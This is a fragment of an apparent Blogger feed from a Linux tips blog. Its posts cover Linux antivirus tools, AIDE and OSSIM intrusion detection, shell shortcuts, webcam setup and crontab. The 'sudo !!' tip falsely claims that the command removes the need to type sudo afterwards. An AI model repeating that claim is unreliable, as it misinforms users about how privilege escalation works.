width="400"&gt; &lt;param name="movie" value="http://www.britepic.com/britepic.swf"&gt;&lt;param name="FlashVars" value="id=1579624&amp;src=http://2.bp.blogspot.com/_aCbewboCjBM/TPr_Xw8pwQI/AAAAAAAAAL0/NvAtjO_n50g/s1600/avastlinux.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://www.avast.com/linux-home-edition&amp;caption=avast&amp;width=400&amp;height=138&amp;" &gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.britepic.com/britepic.swf" flashvars="id=1579624&amp;src=http://2.bp.blogspot.com/_aCbewboCjBM/TPr_Xw8pwQI/AAAAAAAAAL0/NvAtjO_n50g/s1600/avastlinux.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://www.avast.com/linux-home-edition&amp;caption=avast&amp;width=400&amp;height=138&amp;" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer" wmode="transparent" type="application/x-shockwave-flash" width="400" height="138"&gt;&lt;/embed&gt;&lt;/object&gt;Software details:&lt;br /&gt;&lt;div class="disc_container left"&gt;&lt;ul class="checks"&gt;&lt;li&gt;Antivirus kernel&amp;nbsp;&lt;/li&gt;&lt;li&gt;Automatic updates &lt;/li&gt;&lt;li&gt;Internationalization &lt;/li&gt;&lt;li&gt;User interface&lt;/li&gt;&lt;li&gt;Virus chest&lt;/li&gt;&lt;li&gt;Command-line scanner&lt;/li&gt;&lt;/ul&gt;&amp;nbsp;The antivirus kernel of avast! for Linux is identical to the kernel for Windows systems.&lt;br /&gt;The latest version of the avast! antivirus kernel features outstanding detection abilities, together with high performance.The Simple User Interface is used to start on-demand scanning, to work with the results and to change the various scan options.Experienced users will appreciate the classic on-demand scanner, controlled from the command line. It enables files to be scanned in specified directories and both on local and remote volumes.The Linux version also has a chest directory where suspicious files are stored.Currently, avast! for Linux is available in the following languages: English, Czech, Portuguese (Brazil), Bulgarian, Finnish, French.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&lt;b&gt;2.&lt;/b&gt; &lt;a href="http://free.avg.com/gb-en/download.prd-alf"&gt;AVG&lt;/a&gt; is another famous name in anti-virus market. AVG provides 5 types of linux anti-viruses.&lt;br /&gt;&lt;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" height="277" style="clear: right; float: right;" width="400"&gt; &lt;param name="movie" value="http://www.britepic.com/britepic.swf"&gt;&lt;param name="FlashVars" value="id=1579624&amp;src=http://3.bp.blogspot.com/_aCbewboCjBM/TPsCRAIuUKI/AAAAAAAAAL4/-ijitPjQ-zs/s1600/avgantivirus.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://free.avg.com/gb-en/download.prd-alf&amp;caption=avg&amp;width=400&amp;height=277&amp;" &gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;param name="wmode" value="transparent"&gt;&lt;embed src="http://www.britepic.com/britepic.swf" flashvars="id=1579624&amp;src=http://3.bp.blogspot.com/_aCbewboCjBM/TPsCRAIuUKI/AAAAAAAAAL4/-ijitPjQ-zs/s1600/avgantivirus.jpg&amp;keywords=antivirus,%20linux,%20open%20source,%20security,&amp;show_ads=1&amp;show_menu=1&amp;href=http://free.avg.com/gb-en/download.prd-alf&amp;caption=avg&amp;width=400&amp;height=277&amp;" allowscriptaccess="always" pluginspage="http://www.macromedia.com/go/getflashplayer" wmode="transparent" type="application/x-shockwave-flash" width="400" height="277"&gt;&lt;/embed&gt;&lt;/object&gt;They all have different extension: deb, rpm, sh, gz(linux) &amp;amp; gz(free BSD). This makes them compatible to different distros of linux ranging from Ubuntu to free BSD. It's another free anti-virus which is the demand of open source technologies. AVG supports a virus encyclopedia to keep record of viruses, also has a online forum.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul class="checks"&gt;&lt;/ul&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://linux-techy.blogspot.com/2010/12/antivirus-solutions-for-linux-2.html"&gt;Continued in the next post!&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-6808279823869958302?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/6808279823869958302/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/antivirus-solutions-for-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/6808279823869958302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/6808279823869958302'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/antivirus-solutions-for-linux.html' title='Antivirus Solutions for linux'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-9198813167718712522</id><published>2010-12-04T19:21:00.000+05:30</published><updated>2011-12-03T19:33:26.246+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='AIDE'/><category scheme='http://www.blogger.com/atom/ns#' term='IDS'/><title type='text'>Advanced Intrusion Detection Environment (AIDE) -host based IDS for Linux</title><content type='html'>&lt;a href="http://aide.sourceforge.net/"&gt;Advanced Intrusion Detection Environment or AIDE &lt;/a&gt;is a host-based IDS &amp;amp; free substitute for Tripwire.&lt;br /&gt;It scans the filesystem and logs the attributes of important files, directories, and devices. Each time it runs, it compares its scanned attributes against the previous, "known good" data, and alerts you if something has changes.&lt;br /&gt;AIDE works by reading in the configuration file /etc/aide/aide.conf that contains&lt;br /&gt;1. the attributes of each entry to log. There are currently thirteen attributes that AIDE can log — including permissions, owner, group, size, all three timestamps (atime, ctime, and mtime), plus lower-level stuff like inode, block count, number of links, and so on.&lt;br /&gt;You will find these codes in the conf file.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 2pt inset; padding: 5pt;"&gt;&amp;nbsp; SizeOnly = s+b&lt;br /&gt;&amp;nbsp;SizeAndChecksum = s+b+md5+sha1&lt;br /&gt;&amp;nbsp;ReallyParanoid = p+i+n+u+g+s+b+m+a+c +md5+sha1+rmd160+tiger+whirlpool&lt;/div&gt;The first line activates just the size (s) and block count (b) attributes. The second adds MD5 and SHA-1 hashes, and the third logs just about every supported feature, including inode (i), timestamps (m, a, and c) and a fistful of additional hashes.&lt;br /&gt;&amp;nbsp;AIDE supports multiple has algorithms with which it can generate checksums for each file. By default, the list includes MD5, SHA-1, SHA-256, SHA-512, RMD-160, Tiger, HAVAL, and CRC-32. If you compile AIDE with the mhash option to the configuration script, you can also use GOST and Whirlpool hashes.&lt;br /&gt;&lt;br /&gt;2. list of directories &amp;amp; files to scan&lt;br /&gt;Below upper&amp;nbsp; rule definitions you'll find a lines listing the directories and files to check, using regular-expression based formulas. For example:&lt;br /&gt;&lt;div style="border: 2pt inset; padding: 5pt;"&gt;/etc SizeAndChecksum&lt;br /&gt;/sbin ReallyParanoid&lt;br /&gt;/var Size&lt;br /&gt;!/var/log/.*&lt;br /&gt;!/var/spool/.*&lt;/div&gt;The first three lines are "positive" expressions, which tell AIDE to include everything that matches the regular expression. The leading exclamation point on the last two indicate a "negative" expression, which in this case says to exclude the rapidly-changing /var/log/ and /var/spool/ directories.&lt;br /&gt;Similarly you can give path to other folders which you want to be monitored like www folder.&lt;br /&gt;For further experimenting the options &amp;amp; features, please go through the &lt;a href="http://www.cs.tut.fi/%7Erammer/aide/manual.html"&gt;manual&lt;/a&gt;. &lt;br /&gt;Main site:&lt;a href="http://aide.sourceforge.net/"&gt;http://aide.sourceforge.net/&lt;/a&gt;&lt;br /&gt;Download link: &lt;a href="http://sourceforge.net/projects/aide"&gt;http://sourceforge.net/projects/aide&lt;/a&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;References:&lt;a href="http://www.linux.com/learn/tutorials/386908:weekend-project-intrusion-detection-on-linux-with-aide"&gt;http://www.linux.com/learn/tutorials/386908:weekend-project-intrusion-detection-on-linux-with-aide&lt;/a&gt;&lt;br /&gt;&lt;a href="http://aide.sourceforge.net/"&gt;http://aide.sourceforge.net/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-9198813167718712522?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/9198813167718712522/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/advanced-intrusion-detection.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/9198813167718712522'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/9198813167718712522'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/advanced-intrusion-detection.html' title='Advanced Intrusion Detection Environment (AIDE) -host based IDS for Linux'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-25977763169133926</id><published>2010-12-03T08:28:00.026+05:30</published><updated>2011-12-03T19:33:26.147+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking/Security Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><title type='text'>OSSIM: the Open Source Security Information Management System</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;A Security Information Management  system (SIM), is a toolset that fills in that gap by collecting eventlogs  into a central repository for trend analysis from different tools. It centralizes log information, correlates logs to establish cause-effect relationship between events, prevents possible damage/flaws on the company’s resources etc.&amp;nbsp;&amp;nbsp;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;OSSIM is a fully featured SIM solution  that offers all the necessary functionality, ranging from the detection  at low-level to high-level reporting.&amp;nbsp;&lt;/div&gt;Based  on GNU/Linux Debian, kernel 2.6, OSSIM integrates a handy suite of security open  source tools&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Arpwatch" title="Arpwatch"&gt;Arpwatch&lt;/a&gt;, used for &lt;a href="http://en.wikipedia.org/wiki/MAC_address" title="MAC address"&gt;MAC address&lt;/a&gt; anomaly detection.&lt;/li&gt;&lt;li&gt;P0f, used for passive &lt;a href="http://en.wikipedia.org/wiki/Operating_system" title="Operating system"&gt;OS&lt;/a&gt; detection and OS change analysis.&lt;/li&gt;&lt;li&gt;Pads, used for service anomaly detection.&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Nessus_%28software%29" title="Nessus (software)"&gt;Nessus&lt;/a&gt;, used for vulnerability assessment and for cross correlation (&lt;a href="http://en.wikipedia.org/wiki/Intrusion_detection_system" title="Intrusion detection system"&gt;Intrusion detection system&lt;/a&gt; (IDS) vs &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Vulnerability_Scanner" title="Vulnerability Scanner"&gt;Vulnerability Scanner&lt;/a&gt;).&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Snort_%28software%29" title="Snort (software)"&gt;Snort&lt;/a&gt;, used as a &lt;a href="http://en.wikipedia.org/wiki/Intrusion_detection_system" title="Intrusion detection system"&gt;Intrusion detection system&lt;/a&gt; (IDS), and also used for cross correlation with Nessus.&lt;/li&gt;&lt;li&gt;Spade, the &lt;i&gt;statistical packet anomaly detection engine&lt;/i&gt;. Used to gain knowledge about attacks without signature.&lt;/li&gt;&lt;li&gt;Tcptrack, used for session data information which can grant useful information for attack correlation.&lt;/li&gt;&lt;li&gt;Ntop, which builds an impressive network information database for aberrant behaviour anomaly detection.&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Nagios" title="Nagios"&gt;Nagios&lt;/a&gt;, used to monitor host and service availability information based on a host asset database.&lt;/li&gt;&lt;li&gt;Osiris, a &lt;a href="http://en.wikipedia.org/wiki/Host-based_intrusion_detection_system" title="Host-based intrusion detection system"&gt;Host-based intrusion detection system&lt;/a&gt; (HIDS).&lt;/li&gt;&lt;li&gt;Snare, a log collector for windows systems.&lt;/li&gt;&lt;li&gt;OSSEC, a host based IDS.&lt;/li&gt;&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: right;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://www.alienvault.com/screenshots/ss_4.png" imageanchor="1" style="clear: right; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="320" src="http://www.alienvault.com/screenshots/ss_4.png" width="252" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Screenshot from AlienVault&lt;/td&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;li&gt;OSSIM also includes self developed tools, the most important being a  generic correlation engine with logical directive support and logs  integration with plugins.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;Downloadlink:&lt;a href="https://www.alienvault.com/opensourcesim.php?section=Downloads"&gt;https://www.alienvault.com/opensourcesim.php?section=Downloads&lt;/a&gt;&lt;br /&gt;&lt;div&gt;References: &lt;a href="http://en.wikipedia.org/wiki/OSSIM"&gt;http://en.wikipedia.org/wiki/OSSIM&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-25977763169133926?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/25977763169133926/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/ossim-open-source-security-information.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/25977763169133926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/25977763169133926'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/ossim-open-source-security-information.html' title='OSSIM: the Open Source Security Information Management System'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-256342045210041432</id><published>2010-12-02T12:43:00.002+05:30</published><updated>2010-12-02T15:00:18.396+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><title type='text'>Linux Amazing Keypresses &amp; Commands : Set 4</title><content type='html'>&lt;div style="margin: 5px 20px 20px;"&gt;1. command &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 15px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$sudo !!&lt;/pre&gt;&lt;/div&gt;After executing this command, you have to never think about typing sudo. When you type enter&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; after typing sudo !! , user password prompt will appear &amp;amp; after entering password, the user don't need to enter sudo before the commands.&lt;br /&gt;&lt;br /&gt;2. pressing [tab] twice&lt;br /&gt;&amp;nbsp; &amp;nbsp; This is the favorite keypress used by linux users. It's useful tool for auto completion of commands. Type initial characters of a command &amp;amp; hit tab twice. Eg. type if &amp;amp; hit tab twice. shell will display all the possible commands beginning with if like 'ifconfig'.&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;3. pressing [Ctrl] + [R]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This will allow you to search the command history. After hitting [Ctrl] + [R],&amp;nbsp; type some letters of the command you want to search.&lt;br /&gt;Note It's same as executing command &amp;gt;history | grep &lt;command&gt;&lt;/command&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;4. command &lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 30px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 500px;"&gt;$history |tr '\011' ' ' |tr -s " "| cut -d' ' -f3 |sort |uniq -c |sort -nbr |head -n10&lt;/pre&gt;&lt;/div&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; This command will display the top 10 used commands. What it does - it sorts all the commands in the history &amp;amp; arrange them as per their frequency of occurrence. If you want to display top 20 previously executed commands, replace 10 with 20.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-256342045210041432?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/256342045210041432/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/linux-amazing-keypresses-commands-set-4.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/256342045210041432'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/256342045210041432'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/linux-amazing-keypresses-commands-set-4.html' title='Linux Amazing Keypresses &amp; Commands : Set 4'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-1520750558457512623</id><published>2010-12-02T09:44:00.002+05:30</published><updated>2011-12-03T19:33:26.111+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='webcam setup'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><title type='text'>Webcam setup in Debian Linux</title><content type='html'>&lt;div style="font-family: inherit;"&gt;Setting up things in Debian systems is quite easy due to the online installation utilities like apt-get &amp;amp; aptitude. For setting up your webcam connect your webcam to the usb. Execute the command.&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&amp;gt;&amp;nbsp; lsusb&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;If the cam is supported then it will show its information. After that we have to install a cam application software. Camorama can capture stills or display images as they happen. It has no streaming capabilities. &lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span class="Apple-style-span"&gt;&amp;gt;aptitude install camorama&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span class="Apple-style-span"&gt;At thi point your cam will start working. You can capture stills.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span class="Apple-style-span"&gt;For more functions install cheese which is more versatile than camorama&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span class="Apple-style-span"&gt;&amp;gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;aptitude install cheese&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span class="Apple-style-span"&gt;&amp;nbsp;You can display your cam images in mplayer.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;span class="Apple-style-span"&gt;&amp;gt;&lt;/span&gt;&lt;span class="Apple-style-span"&gt;mplayer -fps 30 tv://&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: inherit;"&gt;Reference : &lt;a href="http://stray-notes.blogspot.com/2010/11/web-cam-setup-in-debian.html"&gt;http://stray-notes.blogspot.com/2010/11/web-cam-setup-in-debian.html&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-1520750558457512623?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/1520750558457512623/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/webcam-setup-in-debian-linux.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/1520750558457512623'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/1520750558457512623'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/webcam-setup-in-debian-linux.html' title='Webcam setup in Debian Linux'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-5901617318831919081</id><published>2010-12-01T08:50:00.001+05:30</published><updated>2010-12-13T11:17:37.425+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux installation'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux vendors'/><category scheme='http://www.blogger.com/atom/ns#' term='linux preinstalled laptop'/><title type='text'>PCs/Laptop with linux preinstalled.</title><content type='html'>Linux is now not all all geeky stuff. People like working in Linux &amp;amp; praise it's powers &amp;amp; capabilities to handle specialized &amp;amp; general tasks. &lt;a href="http://www.dell.com/content/topics/segtopic.aspx/linux_3x?c=us&amp;amp;l=en&amp;amp;cs=19"&gt;Dell&lt;/a&gt;, &lt;a href="http://www.system76.com/"&gt;system76&lt;/a&gt;, and &lt;a href="http://zareason.com/shop/home.php"&gt;ZaReason&lt;/a&gt; offer excellent PCs and laptops with pre-installed Ubuntu.&lt;br /&gt;These site provides a pre-compiled list of some pc/laptop vendors that provides linux&lt;br /&gt;-&amp;gt; &lt;a href="http://lxer.com/module/db/index.php?dbn=14"&gt;http://lxer.com/module/db/index.php?dbn=14&lt;/a&gt;&amp;nbsp; &lt;br /&gt;-&amp;gt; &lt;a href="http://www.linuxhq.com/vendors/systems.html"&gt;http://www.linuxhq.com/vendors/systems.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And after that you should read these links&lt;br /&gt;&lt;a href="http://www.geeksaresexy.net/2010/11/08/why-buy-linux-pre-installed/"&gt;http://www.geeksaresexy.net/2010/11/08/why-buy-linux-pre-installed/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.pcworld.com/businesscenter/article/212014/how_to_buy_a_computer_preloaded_with_ubuntu.html"&gt;http://www.pcworld.com/businesscenter/article/212014/how_to_buy_a_computer_preloaded_with_ubuntu.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-5901617318831919081?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/5901617318831919081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/pcslaptop-with-linux-preinstalled.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5901617318831919081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/5901617318831919081'/><link rel='alternate' type='text/html' href='http://linux-techy.blogspot.com/2010/12/pcslaptop-with-linux-preinstalled.html' title='PCs/Laptop with linux preinstalled.'/><author><name>kumar vikramjeet</name><uri>https://profiles.google.com/103931937755667413382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-wDPJ5F_9N-A/AAAAAAAAAAI/AAAAAAAAAAA/NVxcDewUckY/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6699847429913330442.post-1674640843090815140</id><published>2010-12-01T08:21:00.000+05:30</published><updated>2011-12-03T19:33:26.118+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Amazing commands'/><category scheme='http://www.blogger.com/atom/ns#' term='online tool'/><category scheme='http://www.blogger.com/atom/ns#' term='Crontab'/><category scheme='http://www.blogger.com/atom/ns#' term='Utility Software'/><title type='text'>Online Crontab Tool</title><content type='html'>Crontab is a handy tool for scheduling particular tasks/commands. You can set a time for updating the system, shutting it down etc. So, to use the crontab, issue the command&lt;br /&gt;&amp;gt;crontab -e&amp;nbsp;&lt;br /&gt;This will display the crontab file which you can edit to set your tasks.&lt;br /&gt;These are the options related to crontab&lt;br /&gt;crontab -e&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Edit your crontab file, or create one if it doesn’t already exist.&lt;br /&gt;crontab -l &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;     Display your crontab file.&lt;br /&gt;crontab -r &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;     Remove your crontab file.&lt;br /&gt;crontab -v &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;     Display the last time you edited your crontab file. (This option is only available on a few systems.)&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;The syntax of the command :&amp;nbsp; &lt;br /&gt;&amp;nbsp;&lt;minute[0-59]&gt; &lt;hour[0-23]&gt; &lt;day month[1-31]="" of=""&gt; &lt;month[1-12]&gt; &lt;day (sunday="0)" ,="" of="" week[0-6]=""&gt; &amp;lt; COMMAND&amp;gt;&lt;/day&gt;&lt;/month[1-12]&gt;&lt;/day&gt;&lt;/hour[0-23]&gt;&lt;/minute[0-59]&gt;&lt;br /&gt;Eg.&amp;nbsp; 0 0 * * * halt -&amp;gt; means shutdown the pc at midnight everyday.&lt;br /&gt;There is infact an online tool to define your crontab command if the syntax of command bugs you &lt;br /&gt;--&amp;gt; &lt;a href="http://www.corntab.com/pages/crontab-gui"&gt;http://www.corntab.com/pages/crontab-gui&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Crontab access are restricted by the files&lt;br /&gt;/usr/lib/cron/cron.allow &amp;amp; /usr/lib/cron/cron.deny&lt;br /&gt;If your username is in the allow file you will be allowed to use crontab. If the file don't exists then you will be allowed if your name is not in the deny file. If the deny file is empty then all users all allowed. If the file doesn't exists then only root can use crontab.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6699847429913330442-1674640843090815140?l=linux-techy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linux-techy.blogspot.com/feeds/1674640843090815140/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://linux-techy.blogspot.com/2010/12/online-crontab-tool.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/1674640843090815140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6699847429913330442/posts/default/1674640843090815140'/><link rel='alternate' type='text/html' 